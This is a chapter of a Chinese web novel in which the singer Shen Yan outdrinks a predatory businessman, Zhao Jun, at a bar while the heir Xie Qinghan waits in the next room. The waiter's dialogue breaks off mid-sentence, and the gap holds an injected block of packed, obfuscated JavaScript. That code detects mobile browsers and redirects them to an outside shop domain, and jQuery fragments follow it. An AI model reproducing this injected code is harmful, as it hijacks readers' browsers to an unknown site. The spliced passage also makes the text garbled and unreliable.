距离上次见面,又过去一礼拜。
沈宴唱完中场十一点的两首歌,谢青寒刚刚才进来。
这回一起的人更多,男男女女七八个。
可真是精彩热闹的二世祖生活。
沈宴原本想走过去打招呼,但见这么多人,又作罢,只在对方看过来时,抬手轻轻挥了挥。
谢青寒也随意挥了下手回应,然后便头也不回跟着服务生去了包厢。
“沈宴——”沈宴还没来到休息室,便被江天昊叫住,“赵总来了,在二号包厢,点名让你去喝一杯,你过去应付一下。”
沈宴一愣,算起来这厮已经差不多半个月没出现了,他都差点忘了这茬,没想到对方竟然还没死心。
他微微叹息一声,轻笑道:“嗯,江哥不用担心,我不会把你贵客得罪的。”
江天昊打着哈哈道:“这说的什么话?那姓赵的我还没放在眼里。”
沈宴但笑不语,只是径自去了二号包厢。
“赵总,好久不见!”他推开门。
屋内三人,是赵军带着两个年轻男孩,跟上回一样,只不过两个男孩似乎是换了人。
“哟,确实好久不见了。”赵军望着走进来的男人,眸光因为惊艳而微微跳动。
真是太特么妖孽了,要是个兔子该多好,也不至于这么久还没吃到嘴里。
沈宴虽然漂亮,但身上有一股英气,至少一眼看去,并不会让人怀疑性取向。
“上回那杯酒咱们还没喝完,今晚跟你赵哥我好好喝一杯,咱们之前的事就一笔勾销。”
“好啊。”沈宴轻笑了笑,走过去在沙发上坐下,与赵军之间隔了个男孩子。
赵军倒是也不以为意,毕竟此人性子冷清,之前可从没有这好态度,只怕是上回那事后,被江天昊敲打过。
小年轻就该识时务。
这段时间他为了小谢爷的哈雷,忙得他焦头烂额,今天才空下来,想到皇朝的这位驻唱歌手,顿时心痒难耐,迫不及待想要尝点甜头。
这会儿隔着人不重要,等过会儿自己将人灌醉,还不是任由自己为所欲为?
这样一想,赵军愈发心痒痒,他招呼身旁男孩:“来来来,给你们小沈哥哥倒酒。”
男孩从善如流,开了一瓶酒倒了一杯,双手递给沈宴。
沈宴刚刚已经扫过一眼桌上,这是开的第一瓶酒,其他的都还没打开,应该没有机会下药。
他端起酒杯朝赵军晃了晃:“那这杯我就先干为敬,就当给赵总赔个不是。”
一杯酒下肚,白皙的面颊很快浮上一层红晕。
“好好好。”赵军点点头,见他双颊绯红,猜他酒量一般,不由得满意地笑开,“那咱们就不醉不归。”
沈宴道:“那我就恭敬不如从命了。”
赵军挥手招呼身边男孩倒酒:“光喝酒没意思,咱们玩骰子,谁输了谁喝,看看今晚谁运气好?”
“行。”沈宴点头,“赵总看想怎么玩?”
赵军没想到今晚的沈宴这么好说话,看来是真的想通了。
他让男孩拿过骰子,又笑呵呵讲了规则,沈宴边听边点头:“嗯,好。”
赵军见他应是没玩过的样子,心中越发得意,要灌醉这初来乍到的毛头小子还不容易?
*
与此同时,隔壁的包厢,也正热闹着。
“对了,咱们光喝酒打牌也没什么意思。”陈玉忽然提议道,“要不然叫个歌手进来给咱们唱歌助兴?沈宴这会儿应该唱完了吧。”
谢青寒没好气道:“你屁事怎么这么多?人家酒吧驻唱歌手,又不是陪唱?”
陈玉啧了声:“赚钱么不磕碜,他自己只怕都乐意得很。”说着朝刚进来送酒水的服务生道,“去把你们驻唱的那个沈宴叫来?”
服务生一愣:“那个……沈宴已经被叫去隔壁包厢了。”
“隔壁谁啊?”陈玉随口问。
服务生:“好像老板叫他赵总。”
陈玉骂了句脏话:“不会又是赵军儿那王八羔子吧!”说着又道,“把人给我叫过来!”
谢青寒没好气道:“叫什么叫?到你出牌了!”
陈玉摆摆手:“行行行,别叫了。”然后抽出四张牌拍在桌上,“看老子炸死你!”
众人没在意这点小插曲,继续嬉闹。
“艹,陈玉你这手气也太好了,不会出老千吧?”
陈玉连赢三局,其他几人忍不住调侃道。
“小爷我需要出老千?快掏钱!”陈玉笑嘻嘻伸出双手,见谢青寒一动不动,抬手挥了挥,“三哥,掏钱呢?”
谢青寒没好气将他手拍开,掏出两张百元大钞丢在桌上:“你们玩儿,我出去透口气。”
“不是——”陈玉昂头看向他,“三哥你不会输不起吧,就两局,我以前被你把裤衩子赢走,也没说不玩啊?”
谢青寒白他一眼:“滚犊子,你要你裤衩子?”说着又道,“我去抽……”
说罢瞥到旁边正在吞云吐雾的两位好兄弟,他又改口道:“屋里乌烟瘴气的,我去透口气,你们玩儿,输了算我的。”
“行行行,你赶紧去吧。”
谢青寒自顾走出了包厢,身后阖上的门,挡去了一室嘈杂,但外面大厅的喧哗又铺天盖地涌入耳畔。
他有些烦躁地揉了揉眉心,下意识瞥了眼隔壁包厢。
房门紧闭,也不知此时正在发生什么。
正想着,见一个服务生端着两瓶酒朝那门口走去,他挥手将人叫住。
这服务生算是老员工,自然知道谢青寒的身份,赶紧过来,毕恭毕敬道:“小谢爷,您有何吩咐?”
谢青寒道:“里面人在做什么?”
服务生回道:“在喝酒。”
“几个人?喝多少了?”
“就赵总和他两个同伴,还有我们的驻唱沈宴。喝完了五六瓶,这不又叫了两瓶呢。”
谢青寒皱了皱眉道:“你进去跟沈宴传句话,我就在他隔壁,有什么事叫我。”
“啊?”服务生稍稍愣了下,又赶紧点头,“哦,我知道了。”
服务生转身走到二号包厢门口,拎开把手走进去。
谢青寒没走过去,但那门刚打开,他便听到赵军大着舌头的声音传来。
“沈宴——我跟你说,哥那是土生土长的帝都人,海里都去过的,你不就是想当歌星么?帝都那几家唱片公司的老板,我都认识,让他们签个人,那就是我一句话的事。到时候让最火的几个腕儿带你,想上电视上电视,想上杂志上杂志,过不了两年,哥就能让你红遍大江南北。”
谢青寒扯了下嘴角。
这王八羔子也不怕把牛皮吹破了。
而包厢内,赵军正醉醺醺歪倒在沙发上,除了嗓门还是硬的,浑身上下都已经软烂如泥。
那服务生放下酒,没有马上离开,而是凑到沈宴耳畔,低声道:“沈宴,小谢爷让我给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17977432|214774||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
您传句话,说他就在隔壁,你有什么事可以去找他。”
沈宴点点头,低声回:“嗯,我知道了。”说着拿起一瓶酒打开,又倒了两杯,笑道,“赵总,咱们继续。”
“好……好……继续。”
服务生看了看烂醉如泥的赵军,又看了眼除了面颊泛红,一切如常的沈宴,有点摸不着头脑地出了门。
谢青寒还站在隔壁房门口,只是口中含了一支点燃的烟。
“小谢爷,已经将您的话转达给沈宴了。”
谢青寒隔着烟雾,觑眼看向对方:“他说什么?”
服务生道:“他就说知道了。”
“行。”谢青寒轻飘飘丢下一句话,转身进了房门。
与此同时,隔壁包厢里,赵军再次输了骰子,摇摇晃晃端起一杯酒,咕咚咕咚灌了下去,随后人歪倒在沙发,俨然是已经醉得不知今夕何夕。
他身边的两个男孩都傻眼了。
从沈宴进来到现在差不多一个钟头,被赵军拉着划拳摇骰子喝酒,原本两人还以为对方很快会被放到,哪知最终倒下的是赵军,而对方虽然也喝了两瓶,却安然无恙。
沈宴面色平静地望着沙发上只剩嘟囔的男人,又看了眼墙上的时钟,已过了十二点。
“你们送赵总回去吧。”说着又提醒道,“叫出租车,别自己开车。”
“嗯。”两个男孩将烂醉的赵军勉强扶起来,“赵总,回去了啦!”
“不……不回……”赵军大着舌头道,“小沈,咱们继续喝……”
“赵总,你醉了,下回再喝。”
“好……下回再喝。”
沈宴目送两个男孩将人拖出了门,重重舒了口气。
毕竟在娱乐圈混迹十年,这点应对的伎俩还是有的,至于酒量,他一个曾经酗酒的人,能差到哪里去?
但这具身体到底不是自己的,没有经过酒精的锻炼,比起从前其实差了不少。
幸好今晚喝的是啤酒,若换成威士忌,只怕也扛不住。
他揉了揉额角,走到门口,恰好看到隔壁一行人出门。
打头的正是谢青寒。
灯光下,对方那本就冷峻的一张脸,看起来越发有些低沉,是个心情不好的样子。
谢青寒忽然想起从前的谢青寒,生气的时候也是这表情。
只是中年的谢青寒很少生气,一起四年,见他生气的次数不超过一只手。
还每次都跟自己有关。
陈玉跟在谢青寒身后,嬉皮笑脸道:“三哥,不就是输了几把牌么?搞得好像谁欠了你几百万似的。”
谢青寒没说话,只是抬眸神色莫测地望向沈宴。
沈宴勾唇轻笑,柔声与他打招呼:“三哥,陈玉哥。”
谢青寒却只敷衍地点了下头,而后便收回目光,从他面前大步走过,举手投足颇有几分拒人千里的倨傲之气。
沈宴微微一怔,倒是陈玉依旧笑呵呵道:“哟,沈宴,你还好吧?赵军儿有没有为难你?”
“还好。”沈宴微笑点头。
陈玉本来还想八卦几句,见谢青寒头也不回拂袖而去,只得赶紧跟上。
“三哥,你走这么快干嘛?人家沈宴跟你打招呼,你怎么不理人啊?”陈二少嗔道。
谢青寒皮笑肉不笑哼了声:“没你这闲工夫,什么阿猫阿狗都搭理。”
陈玉:“???”
而隐隐听到这句话的沈宴也微微一愣。